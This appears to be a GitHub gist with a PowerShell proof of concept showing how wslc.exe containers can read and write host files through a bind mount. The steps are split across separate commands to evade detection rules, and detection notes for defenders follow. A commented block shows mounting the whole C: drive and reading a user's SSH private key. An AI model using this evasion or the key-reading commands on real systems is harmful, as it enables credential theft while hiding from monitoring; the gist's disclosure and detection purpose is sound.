Created
July 17, 2026 04:14
-
-
Save unrooted/93e9ffc214a4116955ef17f2da62a491 to your computer and use it in GitHub Desktop.
"PoC" for abuse of WSLC - headless command execution via WSLC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Requires -Version 5.1 | |
| $ErrorActionPreference = 'Stop' | |
| # wslc.exe PoC: arbitrary host file read/write via a bind-mounted container. | |
| # | |
| # wslc.exe (WSL Containers, public preview 2026-06+) runs Linux (OCI) containers. | |
| # A bind mount (-v <host>:<container>) hands the container direct | |
| # read/write access to any host path over virtiofs. From the Windows host, the | |
| # only visible telemetry is wslc.exe itself and that VM's Hyper-V worker - not the | |
| # Linux process tree, and not the files it touches inside the mount. | |
| # | |
| # The abuse signal is SPLIT across three separate wslc.exe invocations so a rule | |
| # looking for "one command line with both a bind mount and a payload" misses it: | |
| # 1) wslc pull ghcr.io/linuxcontainers/alpine:3.20 (registry pull, no mount, no payload) | |
| # 2) wslc run -d --rm -v <hostdir>:<mount> ... sleep N (container up, mount present, no payload) | |
| # 3) wslc exec <container> sh -c "<payload>" (the actual read/write, no mount, no registry ref) | |
| # Each call looks like routine container usage on its own. The container name is the | |
| # join key across steps 2 and 3 - confirm it with `wslc container list`. | |
| # | |
| # BENIGN by design. Only touches a throwaway demo directory: reads back a marker file | |
| # this script planted before the container ever started, and writes a marker file. | |
| # No credential theft, no exfil, no persistence. The point is proving the primitive | |
| # generalizes to ANY host path passed to -v (see the commented block at the bottom) - | |
| # not to actually touch anything sensitive here. | |
| # | |
| # Requirements: | |
| # - Windows 11 with WSL container support (public preview, 2026-06+) | |
| # - wslc.exe / container.exe present under C:\Program Files\WSL | |
| # - Standard user privileges on the host (no admin needed) | |
| # - Outbound access to ghcr.io (or an internal mirror) | |
| $Image = 'ghcr.io/linuxcontainers/alpine:3.20' | |
| $ContainerName = 'wslc-poc' | |
| $ContainerMountPoint = '/mnt/host-poc' | |
| $HostBindDir = Join-Path $env:USERPROFILE 'Desktop\wslc-poc' | |
| $HostMarkerFile = Join-Path $HostBindDir 'marker.txt' | |
| New-Item -ItemType Directory -Path $HostBindDir -Force | Out-Null | |
| "pre-existing host file, planted before the container ever started" | | |
| Out-File -FilePath $HostMarkerFile -Encoding UTF8 -Force | |
| # ============================================================================= | |
| # Step 1: pull the image from an external registry (GHCR), on its own. | |
| # ----------------------------------------------------------------------------- | |
| # No bind mount, no payload in this command line - just an image pull. Detection | |
| # rules that only look for "-v C:\... plus a shell payload" won't fire here. | |
| # ============================================================================= | |
| Write-Host "Step 1: pulling $Image from GHCR" -ForegroundColor Cyan | |
| wslc pull $Image | |
| # ============================================================================= | |
| # Step 2: start a long-lived container with ONLY the bind mount, no payload. | |
| # ----------------------------------------------------------------------------- | |
| # `sleep 3600` isn't the abuse - it just keeps the container alive so a later, | |
| # separate `wslc exec` call can decide what to actually do with the mount. This | |
| # command line carries the host-path exposure but nothing that looks like an | |
| # attack yet. | |
| # ============================================================================= | |
| Write-Host "Step 2: starting persistent container '$ContainerName' with a host bind mount" -ForegroundColor Cyan | |
| wslc run -d --rm -v "${HostBindDir}:${ContainerMountPoint}" --name $ContainerName $Image sleep 3600 | |
| Start-Sleep -Seconds 2 | |
| Write-Host ' confirm via: wslc container list' -ForegroundColor DarkGray | |
| # ============================================================================= | |
| # Step 3: exec the read/write payload - decided after the container is already up. | |
| # ----------------------------------------------------------------------------- | |
| # This command line has no `-v`, no registry reference, nothing that looks like | |
| # a mount grant - just a shell command against an already-running container name. | |
| # ============================================================================= | |
| $payload = "echo '--- read-back of pre-existing host file ---'; cat $ContainerMountPoint/marker.txt; " + | |
| "echo `"wslc.exe PoC reached host filesystem at `$(date)`" > $ContainerMountPoint/marker.txt" | |
| Write-Host 'Step 3: executing read/write payload against the running container' -ForegroundColor Cyan | |
| wslc exec $ContainerName sh -c $payload | |
| Write-Host '' | |
| Write-Host 'Check on host:' -ForegroundColor Yellow | |
| Write-Host " $HostMarkerFile" | |
| Write-Host '' | |
| Write-Host 'Detection notes:' -ForegroundColor Yellow | |
| Write-Host ' - Step 1 CLI: wslc.exe pull ghcr.io/... (external registry ingress, no mount)' | |
| Write-Host ' - Step 2 CLI: wslc.exe run -d --rm -v <hostdir>:<mount> ... sleep N (mount, no payload)' | |
| Write-Host ' - Step 3 CLI: wslc.exe exec <name> sh -c "..." (payload, no mount, no registry ref)' | |
| Write-Host " - Correlation key: container name/id ('$ContainerName') joins steps 2 and 3 -" | |
| Write-Host ' confirm with `wslc container list` or `wslc system session list`.' | |
| Write-Host ' - Host-side file writes under the bind mount attribute to the WSL VM worker' | |
| Write-Host " (vmwp.exe, rendered as Vmmemwslc-cli-<user> in Task Manager) over virtiofs -" | |
| Write-Host ' not to wslc.exe or any visible Linux process.' | |
| Write-Host '' | |
| Write-Host 'Cleanup:' | |
| Write-Host " wslc container stop $ContainerName" | |
| Write-Host " Remove-Item -Recurse -Force '$HostBindDir'" | |
| # ============================================================================= | |
| # Arbitrary-path variant, for reference only - DO NOT enable: | |
| # ----------------------------------------------------------------------------- | |
| # -v accepts any host path, not just the demo directory above. Swapping the | |
| # mount source is the entire difference between this benign PoC and reading or | |
| # tampering with real user data (SSH keys, browser profiles, credential stores, | |
| # an entire drive): | |
| # | |
| # wslc run -d --rm -v C:\:/mnt/c --name wslc-poc <image> sleep 3600 | |
| # wslc exec wslc-poc sh -c "cat /mnt/c/Users/<user>/.ssh/id_rsa" | |
| # | |
| # ============================================================================= |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment